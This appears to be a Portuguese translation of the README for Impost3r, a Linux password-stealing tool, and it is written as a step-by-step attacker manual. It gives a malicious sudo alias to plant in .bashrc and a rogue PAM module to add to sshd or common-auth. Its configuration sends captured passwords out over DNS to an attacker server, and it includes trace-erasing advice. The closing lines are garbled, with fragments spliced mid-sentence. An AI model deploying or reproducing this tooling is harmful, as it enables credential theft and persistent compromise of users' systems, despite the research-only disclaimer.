
👻Impost3r -- Um ladrão de senhas do Linux

Impost3r é uma ferramenta escrita em C para roubar várias senhas (ssh, su, sudo) no Linux
Os usuários podem usar este programa para criar uma armadilha e roubar senhas de usuários legítimos
Esta ferramenta é destinada apenas para pesquisa em segurança e ensino. O usuário assume toda a responsabilidade legal e relacionada pelo uso desta ferramenta! O autor não se responsabiliza por qualquer responsabilidade legal ou relacionada!
O Impost3r pode ser usado para roubar senhas de serviços como sudo, su e ssh. Esses três serviços podem ser divididos aproximadamente em duas categorias: sudo e ssh/su. Abaixo discutimos os dois casos separadamente.
Requer apenas privilégios de usuário comum, não precisa ser root, mas só pode roubar a senha do respectivo usuário, não de outros.
Primeiro, suponha que o invasor controla um servidor com privilégios de usuário comum.
Verifique se existe o arquivo .bash_profile no diretório raiz do usuário. Se .bash_profile existir: verifique se o arquivo .bash_profile carrega ativamente o .bashrc. Se carregar ativamente, ignore esta etapa e as duas seguintes, e continue com as operações posteriores. Se não carregar ativamente, ignore as duas próximas verificações e todas as operações abaixo referentes a .bashrc devem ser substituídas por operações referentes a .bash_profile!!!; Se .bash_profile não existir: vá para a próxima verificação.
Verifique se existe o arquivo .bash_login no diretório raiz do usuário. Se .bash_login existir: verifique se o arquivo .bash_login carrega ativamente o .bashrc. Se carregar ativamente, ignore esta etapa e a seguinte, e continue com as operações posteriores. Se não carregar ativamente, ignore a próxima verificação e ; Se não existir: vá para a próxima verificação.
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
Faça uma cópia do .bashrc do usuário: cp ~/.bashrc /tmp/ e coloque essa cópia em um caminho personalizado pelo invasor (neste exemplo, colocado em /tmp/, o invasor pode modificar).
Modifique o .bashrc no diretório raiz do usuário (~/.bashrc), adicione a seguinte instrução na última linha (onde “/tmp/.impost3r” precisa ser igual ao FILENAME abaixo):
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
Após adicionar, salve o arquivo e execute source ~/.bashrc.
Em seguida, o invasor precisa modificar o código-fonte do Impost3r em /sudo/main.h:
/*
Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\Define a localização do Impost3r no servidor alvo
# define BACKUP_ORI_FILENAME ".bashrc" \\Indica qual arquivo de configuração original do usuário foi copiado (.bashrc, .bash_profile, .profile, .bash_login)
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\Indica a localização no servidor alvo do arquivo de configuração original copiado
# define SAVE_OR_SEND 0 \\Define se, após o roubo bem-sucedido, o resultado será salvo na máquina alvo ou enviado para o servidor do invasor (enviar=0, salvar=1, padrão é enviar)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\Atenção: se você não deseja comprar um domínio para receber as mensagens de retorno do Impost3r e o servidor alvo não proíbe conexões UDP diretas para a porta 53 do seu servidor DNS controlado, use o valor padrão aqui.
\\Mas se o servidor alvo restringir estritamente as requisições DNS de saída, altere o valor de YOUR_DOMAIN para o domínio que você comprou, por exemplo “.example.com”, e configure o registro NS desse domínio para o endereço do seu servidor DNS controlado. Execute o Fdns neste servidor DNS e altere o valor de REMOTE_ADDRESS abaixo para o endereço DNS padrão do servidor alvo, e REMOTE_PORT para a porta do serviço DNS (na maioria dos casos, porta 53)
# define MAX_RESEND 30 \\Define o número máximo de tentativas de reenvio da senha para o servidor do invasor após o roubo
# define RESEND_INTERVAL 5 \\Define o intervalo entre cada envio de senha
# define REMOTE_ADDRESS "192.168.0.12" \\Define o endereço remoto para envio da senha
# define REMOTE_PORT 53 \\Define a porta remota para envio da senha
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\Define o local para salvar o arquivo de resultado quando SAVE_OR_SEND for 1
Após a modificação, salve e execute make no diretório atual.
Obtenha o arquivo .impost3r compilado no diretório atual.
Envie o arquivo .impost3r para a pasta /tmp/ do servidor alvo (apenas um exemplo, pode ser alterado, desde que coincida com a definição no código-fonte).
O invasor inicia o programa servidor DNS em seu próprio servidor e aguarda que um usuário legítimo use sudo para obter a senha.
No caso de roubo de senha do sudo, o Impost3r apagará automaticamente os vestígios após o sucesso, sem necessidade de limpeza manual pelo invasor.
O Impost3r determinará automaticamente se a senha inserida pelo usuário é correta; só encerrará o fluxo e apagará os vestígios após a entrada da senha correta.
Antes de usar o Impost3r, execute sudo -v para verificar se o usuário atual está no grupo sudoer. Caso contrário, não use o Impost3r.
O método de roubo de senha ssh/su é diferente do sudo acima. Requer privilégios de root e pode roubar senhas de qualquer usuário.
Abaixo, usamos o Ubuntu como exemplo. O CentOS é semelhante, mas os arquivos e métodos de modificação podem ser diferentes.
Primeiro, suponha que o invasor controla um servidor.
Após uma escalada de privilégios, obtém acesso root (ou o administrador atencioso já iniciou o serviço com root).
Edite o arquivo de código-fonte /ssh_su/main.h do Impost3r:
/*
Custom setting
*/
# define SSH_OR_BOTH 0 \\Define o modo de roubo: 0 apenas ssh, 1 ssh e su (padrão 0) (a diferença será explicada posteriormente)
# define SAVE_OR_SEND 0 \\Define se, após o roubo bem-sucedido, o resultado será salvo na máquina alvo ou enviado para o servidor do invasor (enviar=0, salvar=1, padrão é enviar)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\Atenção: se você não deseja comprar um domínio para receber as mensagens de retorno do Impost3r e o servidor alvo não proíbe conexões UDP diretas para a porta 53 do seu servidor DNS controlado, use o valor padrão aqui.
\\Mas se o servidor alvo restringir estritamente as requisições DNS de saída, altere o valor de YOUR_DOMAIN para o domínio que você comprou, por exemplo “.example.com”, e configure o registro NS desse domínio para o endereço do seu servidor DNS controlado. Execute o Fdns neste servidor DNS e altere o valor de REMOTE_ADDRESS abaixo para o endereço DNS padrão do servidor alvo, e REMOTE_PORT para a porta do serviço DNS (na maioria dos casos, porta 53)
# define MAX_RESEND 30 \\Define o número máximo de tentativas de reenvio da senha para o servidor do invasor após o roubo (válido apenas quando SSH_OR_BOTH é 0)
# define RESEND_INTERVAL 5 \\Define o intervalo entre cada envio de senha (válido apenas quando SSH_OR_BOTH é 0)
# define REMOTE_ADDRESS "192.168.0.12" \\Define o endereço remoto para envio da senha
# define REMOTE_PORT 53 \\Define a porta remota para envio da senha
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\Define o local para salvar o arquivo de resultado quando SAVE_OR_SEND for 1
Após a modificação, salve e execute make no diretório atual.
Obtenha o arquivo compilado impost3r.so.
Envie o arquivo impost3r.so compilado para a pasta /lib/x86_64-linux-gnu/security na máquina alvo (o nome da pasta pode variar em outras máquinas, coloque de acordo).
Entre em /etc/pam.d. Aqui há dois casos. Se o modo escolhido for apenas roubar senha ssh, então execute vi sshd e adicione as seguintes linhas no final do arquivo (nota: além do Ubuntu, outros sistemas baseados em Linux podem ter diferenças significativas neste arquivo; recomenda-se entender a regra antes de adicionar na posição adequada):
auth optional impost3r.so
account optional impost3r.so
Salve e saia, reinicie o serviço sshd: service sshd restart.
Se o modo escolhido for roubar senhas ssh e su juntas, então execute vi common-auth, adicione as mesmas linhas, salve e saia, e reinicie o serviço sshd da mesma forma.
O invasor inicia o programa servidor DNS em seu próprio servidor e aguarda que um usuário legítimo faça login via ssh ou use su para obter a senha.
No caso de roubo de senha ssh/su, devido a questões de permissão, o Impost3r não pode apagar vestígios; o invasor precisa limpá-los manualmente.
Observe que se configurar apenas para roubar senha ssh, garante-se quase 100% de recebimento do resultado. Se configurar para ambos, não é garantido (apenas quando configurado para envio via DNS; salvar localmente não é afetado).
Não é recomendado roubar senha su, e como a senha ssh do usuário é a mesma, evite roubar senha su se não for necessário. A senha ssh já é suficiente.
Por padrão, senhas vazias não são roubadas. Verifique se o usuário tem senha vazia (confira no arquivo de configuração sshd se existe PermitEmptyPasswords yes; se estiver vazia, não há o que roubar).
gcc -o dns main.c util.c (lembre-se de modificar a porta de escuta em main.c antes).YOUR_DOMAIN em util.h. Certifique-se de que este valor seja o mesmo que o YOUR_DOMAIN usado durante a compilação do Impost3r no servidor alvo, caso contrário, o roubo pode falhar..bashrc devem ser substituídas por operações referentes a .bash_login!!!.bash_loginVerifique se existe o arquivo .profile no diretório raiz do usuário. Se existir .profile: verifique se o arquivo .profile carrega ativamente o .bashrc (por padrão ele carrega). Se carregar ativamente, ignore esta etapa e continue com as operações posteriores. Se não carregar ativamente, então todas as operações abaixo referentes a .bashrc devem ser substituídas por operações referentes a .profile!!!; Se .profile também não existir, em princípio o Impost3r não poderá ser usado. Claro, você pode decidir se cria um arquivo .bash_profile ou .profile e insere um código de carregamento semelhante ao seguinte para carregar o .bashrc: